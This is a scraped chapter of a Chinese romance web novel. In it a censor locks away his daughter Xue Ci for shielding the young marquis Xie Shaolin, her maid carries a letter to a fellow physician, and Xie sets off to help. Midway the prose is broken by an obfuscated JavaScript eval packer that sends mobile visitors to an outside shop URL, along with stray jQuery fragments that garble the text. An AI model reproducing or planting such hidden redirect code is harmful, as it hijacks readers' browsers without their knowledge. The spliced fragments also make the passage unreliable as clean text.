文趣网 > 都市小说 > 纨绔的暗恋日常 > 15. 第 15 章
    “你昨日可是当街拦了谢将军执法了?”

    听薛江淮提到这事,薛慈承认了:“是。”

    “你好大的胆子!当时韦大将军也在,你竟还敢如此胡闹放肆?”

    薛江淮自认算得上开明,薛慈除了学医之事颇为执着,平日性子是温善又懂事,日常行事也是一贯让他放心的。

    他当真是万万没想到,自个儿女儿竟大胆如此,敢闹到了那韦进寥面前。

    这顿骂来得突然,薛慈反应了好一阵,还是语气冷静同自己父亲解释:“父亲,当时是事出有因,女儿才阻拦了。”

    薛江淮气急:“事出有因?因谢家那纨绔?他害你被周家退婚,我是看在已故谢大将军和长公主面上,才未找他算账!别家女子见他都要退避三舍,你怎还同他掺和在一起?简直荒唐!”

    听父亲如此说,薛慈也终是明白,果然周家是以她落水之事为由,来退亲的。

    “父亲一直教诲女儿,识人不可仅看表面,需自己明辨。决断不能人云亦云,要有自己判断之法。女儿一直在谨遵父亲教诲,同那谢绍临相处后,并未发现他实际上有何不妥之处。”

    薛江淮错愕不已,他眼里素来乖顺懂事的女儿,怎会为个名声乌糟的外男来顶撞自己了?是那谢绍临将她蛊惑了?

    “而且,这般久了,父亲一直在忙,女儿也没好生同父亲聊聊。趁今日……也好。”

    薛慈下定了决心,她看向薛江淮时,双眼红红,眼泪水一直忍着,在眼眶里打转。

    她问:“父亲可知女儿那夜为何会落水?应当真得以为是我吃醉了酒,才跌进太液池的吧?”

    话问完,她也没等薛江淮答复,而是自己又笑着摇摇头。

    “我是被人推进去的,险些淹死在太液池了。如果不是谢绍临多管闲事救了我,我也不会站在这儿同父亲说话了。”

    薛慈是带着抽泣声说完的,面对自己父亲,再提起那夜的遭遇,她心底里的委屈与害怕又被再次勾起,情绪根本无法压抑,眼泪似断了线的珠子,一滴滴砸落。

    薛江淮的心口一下收紧了,当时严嬷嬷将人送回来时,说薛慈醉酒意外落水。他全然未多想其他状况,事实原是这样的吗?

    “阿慈,是父亲……”

    “父亲责问我昨日之事,旁人还晓得问一嘴女儿为何如此,父亲呢,为何上来就是指责?也不听女儿解释?难道女儿的为人,父亲不信任?还是因京都里那些闲言碎语,如今父亲也分辨不清是非对错了?”

    薛慈连连反问,怼得薛江淮这个在朝堂之上能舌战群儒之人,哑口无言。

    周家婚事,若不是他固执非要践诺,薛慈此刻应当在并州自在生活,而不是淌进京都这浑水之中,险丢性命。

    他不是不信自己女儿,偏是因心疼自己女儿,才不想让她牵扯到这些乌糟事情之中。

    薛江淮因朝堂之事,弹劾了好几个韦进寥亲信,尤其近日,揪出的兵部蛀虫,亦都曾是韦进寥手下的。

    谁也没想到,韦进寥会提前拔营回京,目的自是明显,就是回来保人和报仇的。

    虽原是陛下授意,可薛江淮也知,为人臣子,他得扛起这个包袱,将责任都揽在自己身上。

    他死,无所谓,只是放心不下薛慈。

    可事情却又巧得很,这么个小事儿,竟让韦进寥早早注意到了薛慈。

    韦进寥今日特意去了都察院公署,还当着他的面刻意提及了薛慈,薛江淮怎可能不知道他的用意?韦进寥是要用薛慈来威胁他了。

    “是我过于放纵你了,才让你性子变得如此忤逆不孝!”

    原本该说出口的致歉,反而成更重的责备之言。

    他重重拍着桌案,喊来管家刘叔:“老刘,将这不孝女给我关起来,从今以后,哪都不许她去!”

    今日这如此不讲理的做法,连常年跟随他的刘叔都惊讶不已,他从未见过薛江淮如此对待薛慈。

    薛江淮在外人眼里,是个又臭又硬的脾气,但极是宠爱薛慈的。

    薛慈想学医,他便三番四次去那安善堂求虞松柏,才给八岁的薛慈求了个旁听位置。

    她不喜欢做的事儿,薛江淮从不逼迫,甚至常因自己无法陪伴在女儿身侧,总觉亏欠。

    他念着周家是门好亲事,为了女儿能有个好归宿,他才特意主动拜访两回。

    薛慈亦是察觉了异样,追问薛江淮:“父亲,是不是发生什么事了?您告诉女儿,我知父亲不是如此武断专横之人,究竟发生什么了?为何要将我锁起来?外头还有好几个贫苦百姓需女儿再替他们瞧病呢!父亲!”

    她脸上挂着泪痕,哀求薛江淮时,还带着止不住的哭腔。

    薛江淮自知对不住自己女儿,双眼憋得通红,根本不敢瞧她。

    “老刘,还不赶紧将她带回去锁起来!”

    刘叔无奈,只得喊了俩小厮将薛慈送回了她房内,直接锁了起来。

    院里的清禾都吓住了,一直追问刘叔发生何事了?

    刘叔不能多言,反是让清禾也知分寸些,别想着偷放小姐出来,再度惹恼薛江淮。

    翌日晌午都过了,薛江淮也并未松口放薛慈出去。

    只是在出门前,薛江淮还是心软,让清禾端了些薛慈爱吃的糕点给她送去。

    清禾入内时,薛慈正坐在榻上发呆。

    她脸颊已消了肿,只是那双漂亮的杏眼,此刻已消失无踪,只留了一双可怜巴巴的大肿眼。

    薛慈一见清禾进来,面上浮现了几许笑意,赤着脚就奔来:“可是我父亲让我出去了?”

    清禾轻轻摇了头,将盘中糕点一一放在了桌上:“老爷没松口,只让奴婢来给您送糕点。”

    如此一说,薛慈就知自己出去无望,她父亲将她特意锁起来,定是发生了特别要紧的事儿。

    她思忖再三,扫了眼旁侧书桌,吩咐清禾:“清禾,你替我研磨,我要写封信给我师姐虞泱泱。”

    清禾应了声,给她拾来鞋子,就开始替薛慈研墨。

    “算着时日,柳西巷的张嫂子要换药了,隐墨坊的王大爷得再针灸一次……”

    薛慈碎碎念叨,一下列举了七八个病患。

    她将客套之话通通略去,而每个病患所住之地,所得病症,如何用药,在哪施针等却是写得极其详尽,洋洋洒洒写了十余张纸。

    “你也认得她的,务必送到,她如今暂住在城西谢家别苑,地方好找,门口还有士兵守着。”

    清禾连连应下,将信塞进怀中,即刻动身前往。

    薛慈目送清禾离去,房门阖上落锁时,她心里最担忧的,还是自己父亲。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615496|205417||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    父亲究竟怎么了?可是又得罪哪家世家大族了吗?

    *

    清禾依照吩咐,找来了谢家别苑,将薛慈情况也一并告知了虞泱泱。

    虞泱泱气得狠,明知是薛江淮的问题,却因他是长辈,只能无语地直摇头叹气。

    旁听的谢亦成想法与虞泱泱截然不同,他知晓朝堂上的事儿,遂赞成薛江淮的做法,甚至还说了更扫兴的话。

    “如若是我,与其将人锁起来,不如连夜就直接将她送离京都算了。”

    虞泱泱不懂他是何意思,甚至怀疑起谢亦成落井下石。

    “谢亦成你几个意思?阿慈被关禁闭,我看就是因她护了你阿弟。”

    谢亦成斜扫她一眼,神色不变:“也看在你提的这事儿份上,只要薛大人开口,我也会帮忙将人送出京都。”

    虞泱泱和清禾听不懂他在说什么,谢亦成肃着张脸未解释,只同清禾交代:“你只管告知你家御史大人这话即可。”

    清禾将信将疑,还是点了头。

    待她事办完,才从谢府别苑走开没多远,身侧就响起了马车声,那马车还正好停在了她身旁。

    “你不是薛慈身边那小丫鬟吗?你家小姐呢?今日怎么没出来?还是在附近给人瞧病呢?”

    清禾疑惑抬头,一眼认出对方是谢绍临。

    千佛寺他欺负自家小姐的事儿,清禾还记得呢,再联想到薛慈被锁起来,同他也有干系,清禾打心眼里不是很想搭理他。

    谢绍临见她板着脸,正纳闷自个儿哪儿得罪这小丫头了,坐他身侧的周凛就拿扇敲了他一记。

    “你这什么语气?还有,坐回你原处去,否则立马叫人将你送回去躺着。”

    “嘿,给你狂的!”谢绍临嘴上不满,身子却老实坐回,“那你问。”

    周凛同谢绍临不一样,询问清禾也面带和煦笑意。

    “你别怕,我们都算是你家小姐的朋友,你家小姐是在附近吗?”

    清禾也没见过周凛,只觉对方温文尔雅,甚是谦和有礼,也愿意与他相说:“小姐出不来,她被我们老爷禁足了,锁在房内了。”

    周凛深感意外:“为何?发生何事了?”

    清禾哭丧脸:“都赖谢小侯爷,都是因他,老爷和小姐才大吵一架。”

    听到清禾如此说,谢绍临更是坐不住,直接跳下了马车,只是伤未愈,动作稍大些还是有些拉扯得疼。

    他顾不得这个,一脸着急,让清禾再说一次。

    “刘管家说,是因前两日小姐当街护了谢小侯爷,老爷这才大发雷霆!”

    “我……真是因我?你家老爷……”

    谢绍临没将话说完,薛江淮瞧不惯他似乎也合理。

    之前那些零散破事不提,单就薛慈婚事黄了这事,谢绍临虽不愿承认和他关系有多大,但……勉强也算有他一份。

    但,他还是不信薛江淮会因薛慈护了自己,如此恼怒,这不过是件小事罢了。

    谢绍临忙将谢安招来:“赶紧去采买些好东西,文房四宝之类的,直接送去薛府,我在薛府门口等你。”

    谢安怀疑自己听错了:“不是,侯爷,您这样了,还去薛府?”

    谢绍临目光笃定又担忧,他郑重点头:“得去,既是我惹的事,不能叫她一个人受着。”